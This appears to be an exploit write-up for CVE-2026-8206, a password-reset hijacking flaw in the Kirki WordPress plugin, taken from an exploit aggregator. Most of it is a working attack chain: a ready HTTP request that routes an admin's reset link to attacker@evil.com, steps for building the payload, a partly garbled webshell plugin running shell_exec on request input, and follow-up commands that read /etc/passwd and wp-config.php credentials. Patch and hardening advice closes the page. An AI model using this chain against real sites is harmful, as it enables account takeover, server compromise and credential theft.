Share
## https://sploitus.com/exploit?id=8FDF1813-D835-5E1C-908C-E5505690D6E5
# CVE-2026-8206

## Vulnerability: Unauthenticated Account Takeover โ€” Password Reset Email Hijacking in Kirki Customizer Framework

**CVSS v3.1 9.8 / 10.0 CRITICAL**

Vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

---

## 1. Overview

CVE-2026-8206 is an **Unauthenticated Account Takeover** vulnerability in Kirki Customizer Framework โ€” a popular WordPress page builder plugin with over 90,000 active installations. The vulnerability allows an attacker to take over any WordPress account (including admin) simply by sending a single HTTP request.

The bug resides in the REST API endpoint `kirki-forgot-password` of the ComponentLibrary module. This endpoint allows requesting a password reset for any user and sends the reset link to an **email address specified by the attacker**, instead of the user's registered email.

| Information | Details |
| --- | --- |
| Plugin | Kirki Customizer Framework (WordPress Page Builder) |
| Affected Versions | 6.0.0 โ€“ 6.0.6 |
| Patched | 6.0.7 (or 6.0.12+) |
| Vulnerability Type | Unauthenticated Account Takeover via Password Reset Email Hijacking |
| Endpoint | `/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password` (or `/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password`) |
| CVSS | 9.8 CRITICAL |

**Exploitation Prerequisites:**

- Kirki Customizer Framework 6.0.0โ€“6.0.6 is activated
- REST API is public (WordPress default)
- ComponentLibrary module is active (default when the plugin is active)
- No account or session is required

โ†’ Every WordPress site with Kirki 6.0.0โ€“6.0.6 installed is vulnerable by default.

## 2. Terminology

### ComponentLibrary REST Endpoints

Kirki registers REST API endpoints for the Component Library feature, including login, register, forgot-password, and change-password. All of them allow guest access (`guest_permissions_check` returns `true`).

### Nonce Validation

WordPress nonce is a CSRF protection token. Kirki requires a nonce via the `X-WP-Element-Nonce` header or checks a nonce parameter in the request. However, the nonce can be publicly generated/extracted from the client side.

### Password Reset Key

WordPress uses `get_password_reset_key()` to generate a password reset token. This token is included by Kirki in the email template before sending.

## 3. Root Cause โ€” Password Reset Email Hijacking

**File:** `ComponentLibrary/controller/CompLibFormHandler.php`

### Bug 1: Missing email-to-user validation

In the vulnerable version (6.0.0โ€“6.0.6), the `handle_forgot_password()` function does not verify whether the provided email matches the user's registered email. An attacker can specify the victim's username and their own email โ€” the reset link will be sent to the attacker's email.

Vulnerable source code:

```php
public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
```

### Bug 2: Missing HMAC signature on email template

The email subject and body are received from the client via the `emailSubject` and `emailBody` parameters without any HMAC signature to verify integrity. The attacker can arbitrarily modify the content of the email being sent.

```php
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
```

## 4. Why This Vulnerability Is Dangerous

| Factor | Explanation |
| --- | --- |
| No authentication required | `guest_permissions_check()` returns `true` โ€” anyone can call the endpoint |
| Any account can be taken over | Only the username is needed (default: 'admin') โ€” no email/password required |
| Impact: Admin takeover | Takeover admin โ†’ upload webshell โ†’ RCE โ†’ full server control |
| Widespread | Kirki is a plugin widely integrated into many WordPress Themes |

## 5. Attack Chain Analysis

Exploiting CVE-2026-8206 starts from zero access โ€” no account, no password, no session โ€” to full admin takeover using only HTTP requests.

```
Phase 1: Extract Nonce       โ†’ Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  โ†’ Send reset link to attacker's email
Phase 3: Reset Password      โ†’ Change admin password using the obtained reset key
Phase 4: Login Admin         โ†’ Log in with the new password
Phase 5: Webshell Upload     โ†’ Install backdoor via plugin upload
Phase 6: RCE                 โ†’ Execute arbitrary commands on the server
```

### **5.0 Payload Construction Methodology**

#### **Step 1: Reading the Source Code (most accurate method)**

Download the plugin from `wordpress.org` and open the file `CompLibFormHandler.php` directly:

```php
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}
```

โ†’ Reading the code reveals: `emailBody` must be a JSON array, each item has `type` and `value`. If `type = chip` and `value = reset_link`, Kirki automatically inserts the reset link into the email.

#### **Step 2: Grepping the Plugin's JavaScript Bundle**

Grep directly within the plugin directory:

```bash
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
```

The compiled frontend code will reveal the exact JSON structure required.

#### **Payload Discovery Process Summary:**

```
Find endpoint (/wp-json/ or rest_route)
       โ†“
Read PHP source โ†’ find $form_data['emailBody']
       โ†“
Understand JSON array format (type / value)
       โ†“
Read chip_data array โ†’ find key "reset_link"
       โ†“
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       โ†“
Test โ†’ success
```

### 5.1 Phase 1: Hijack Password Reset Email

The attacker sends a POST request to the forgot-password endpoint with the victim's username (`admin`) and an email address controlled by the attacker (`attacker@evil.com`). The server generates a reset key for the victim but sends the reset link to `attacker@evil.com`.

Sending the request:

```http
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&email=attacker@evil.com&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D
```

![Interceptor request sending reset email](assets/image.png)

Response (success):

![Response confirming email sent](assets/image%201.png)

**Email received in the attacker's mailbox (MailHog at http://localhost:8025):**

```
Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin
```

![MailHog inbox receiving reset key](assets/image%202.png)

### 5.2 Phase 2: Reset Password & Admin Login

The attacker uses the `key` token obtained from the email to change the admin account password via the `kirki-change-password` endpoint or WordPress's default form, then logs in and gains full administrative control over the website.

![Password reset form](assets/image%203.png)

Password changed and accessed using the `admin` account.

![Admin dashboard login success](assets/image%204.png)

Account `admin` access successful.

### **5.3 Phase 3: Upload Webshell & RCE**

After gaining Admin Dashboard access, the attacker escalates from **Account Takeover** to **Remote Code Execution (RCE)** through WordPress's default Upload Plugin feature.

#### **Step 1: Create a Plugin Containing a Webshell**

The attacker creates a PHP webshell disguised as a legitimate WordPress plugin:

```php
';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '';
}
```

This file is compressed into `system-health.zip` for upload via the Admin interface.

#### **Step 2: Upload Plugin via Admin Dashboard**

The attacker navigates to **Plugins โ†’ Add New Plugin โ†’ Upload Plugin**, selects the `system-health.zip` file and clicks **Install Now โ†’ Activate Plugin**.

![Upload plugin interface](assets/image%205.png)

After upload, WordPress automatically extracts the `.zip` file into the `/wp-content/plugins/` directory on the server, making the webshell ready to operate.

#### **Step 3: Execute Commands on the Server (RCE)**

The attacker accesses the webshell directly via the endpoint `/wp-content/plugins/webshell-plugin/shell.php`

![RCE command execution whoami](assets/image%206.png)

![RCE command execution passwd](assets/image%207.png)

RCE successful.

At this point, the attacker has full command execution capability on the server with `www-data` privileges. Subsequent actions may include:

| **Command** | **Purpose** |
| --- | --- |
| `id` | Confirm the running user's privileges |
| `whoami` | View current username |
| `cat /etc/passwd` | Read the system user list |
| `uname -a` | View kernel/OS information |
| `cat wp-config.php` | Read database credentials |
| `ls -la /` | Browse the entire filesystem |

#### **Privilege Escalation Chain Summary:**

```
Admin Dashboard (Account Takeover)
       โ†“
Upload Plugin containing Webshell (.zip)
       โ†“
WordPress extracts โ†’ .php file resides on server
       โ†“
Access shell.php?cmd=
       โ†“
Server executes command โ†’ returns result
       โ†“
RCE complete โ€” full www-data privileges on server
```

## **6. Attack Chain Summary**

| **#** | **Phase** | **Method** | **Path** |
| --- | --- | --- | --- |
| 1 | Hijack Reset Email | POST | `/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password` |
| 2 | Reset Password | GET | `/wp-login.php?action=rp&key=&login=admin` |
| 3 | Login Admin | POST | `/wp-login.php` |
| 4 | Upload Webshell | POST | `/wp-admin/update.php?action=upload-plugin` |
| 5 | RCE | GET | `/wp-content/plugins/webshell-plugin/shell.php?cmd=` |

---

## **7. Defense and Remediation**

### **7.1 Plugin Patch (definitive fix)**

| **Current Version** | **Upgrade To** |
| --- | --- |
| 6.0.0 โ€“ 6.0.6 | **6.0.7** or newer |

### **7.2 Code Fix โ€” Validate email matches the user**

```php
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email
```

### **7.3 Hardening โ€” Prevent RCE Escalation**

Even if the Admin account is compromised, damage can be mitigated with the following measures:

| **Measure** | **Configuration** |
| --- | --- |
| Block plugin/theme installation via Dashboard | Add `define('DISALLOW_FILE_MODS', true);` to `wp-config.php` |
| Block code editing from Dashboard | Add `define('DISALLOW_FILE_EDIT', true);` to `wp-config.php` |
| Restrict upload directory permissions | `chmod 755` for directories, `chmod 644` for files |
| WAF (Web Application Firewall) | Deploy ModSecurity or Cloudflare WAF to block abnormal requests to REST API |
| Monitoring | Monitor file changes in `/wp-content/plugins/` using tools like OSSEC or Wordfence |